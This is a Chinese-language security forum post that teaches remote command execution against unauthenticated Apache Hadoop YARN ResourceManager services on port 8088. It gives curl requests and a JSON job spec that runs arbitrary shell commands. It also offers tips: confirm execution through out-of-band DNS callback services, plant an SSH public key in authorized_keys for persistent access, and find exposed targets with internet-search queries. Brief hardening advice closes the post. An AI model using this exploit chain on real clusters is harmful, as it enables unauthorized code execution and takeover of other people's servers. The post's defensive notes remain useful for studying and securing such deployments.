电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 935 人浏览分享

渗透技巧-Hadoop命令执行

[复制链接]
935 0
Hadoop介绍和漏洞原理

Hadoop是一个由Apache的分布式系统基础架构 用户可开发分布式程序 充分利用集群的威力进行高速
运算和存储实现了一个分布式文件系统(Hadoop Distributed File System)。
其中HDFS组件有高容错性的特点。并且部署在低廉的(low-cost)硬件上即可提供高吞吐量
high throughput 来访问应用程序的数据。

69.JPG

Apache Yarn(Yet Another Resource Negotiator的缩写)是hadoop集群资源管理器系统 Yarn从hadoop
2引入最初是为了改善MapReduce的实现。但是它具有通用性 同样执行其他分布式计算模式。
ApplicationMaster负责与scheduler协商合适的container 跟踪应用程序的状态 以及监控它们的进度 ApplicationMaster
是协调集群中应用程序执行的进程。每个应用程序都有自己的ApplicationMaster 负责与ResourceManager协商资源con
tainer和NodeManager协同工作来执行和监控任务 。

当一个ApplicationMaster启动后,会周期性的向resourcemanager发送心跳报告来确认其健康和所需的资源情况在建好
的需求模型中,ApplicationMaster在发往resourcemanager中的心跳信息中封装偏好和限制 在随后的心跳中 Applicati
onMaster会对收到集群中特定节点上绑定了一定的资源的container的租约,根据Resourcemanager发来的container
ApplicationMaster可以更新它的执行计划以适应资源不足或者过剩。container可以动态的分配和释放资源。

与job相关的命令:
  1. 1.查看 Job 信息:hadoop job -list
  2. 2.杀掉 Job: hadoop job –kill job_id
  3. 3.作业的更多细节: hadoop job -history all output-dir
  4. 4.杀死任务。被杀死的任务不会不利于失败尝试:hadoop jab -kill-task <task-id>
  5. 5.使任务失败。被失败的任务会对失败尝试不利:hadoop job -fail-task <task-id>
复制代码

YARN命令:

YARN命令是调用bin/yarn脚本文件,如果运行yarn脚本没有带任何参数则会打印yarn所有命令的描述。
  1. 使用: yarn [--config confdir] COMMAND [--loglevel loglevel] [GENE
  2. RIC_OPTIONS] [COMMAND_OPTIONS]
  3. application使用: yarn application [options]
复制代码

68.JPG

运行jar文件

用户可以将写好的YARN代码打包成jar文件 用这个命令去运行它:
  1. yarn jar <jar>[mainClass] args...
复制代码


RCE实现

使用ROOT权限启动的Hadoop服务可根据在服务器8088端口接收用户提交的POST
数据根据其中参数执行相关job 具体实现如下:
8088端口的Applications manager:

67.JPG

1.**申请新的application 直接通过curl进行POST请求:**
  1. curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'
复制代码

返回内容类似于:
复制代码

2.构造并提交任务

构造json文件1.json,内容如下其中application-id对应上面得到的id 命令内容为尝
试在/var/tmp目录下创建test_1文件,内容也为111:
  1. {
  2. "am-container-spec":{
  3. "commands":{
  4. "command":"echo '111' >> /var/tmp/test_1"
  5. }
  6. },
  7. "application-id":"application_1527144634877_20465",
  8. "application-name":"test",
  9. "application-type":"YARN"
  10. }
复制代码

然后直接使用curl发送数据:
  1. curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' h
  2. ttp://ip:8088/ws/v1/cluster/apps --data-binary @1.json
复制代码

即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件 在8088端口Web界面可看到相关信息:
66.JPG

技巧:
1可配合ceye、dnslog测试命令执行结果,或在/home/user/.ssh/authorized_keys中写入公钥。
2  搜索开放服务:title="All Applications"

63.JPG

或者port=50070

62.JPG

但此方式有三点限制:
1是服务需管理员权限启动 执行命令也是管理员权限执行。普通用户五相关命令权限只会有失败
记录命令最终执行失败。留下难以删除的攻击记录。

61.JPG

2是Hadoop的8088管理端口若使用了权限认证 会提示

AuthorizationException:"message":"Unable to obtain user name, user not authenticated。

60.JPG

3是master+slave节点数大于等于2 job任务会根据hadoop分布式机制提交到任一台节点处理
目前笔者还未找到指定namenode的方法。

防护建议

1.建议项目拥有者将暴露在公网的服务端口(8040,8042,8088,50060,50070等)屏蔽掉或做白名单访问处理。
2.对Hadoop web Manager服务(8088)做访问身份认证处理 对接收的数据包进行认证。
3.修改默认端口  防止端口服务被批量利用。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.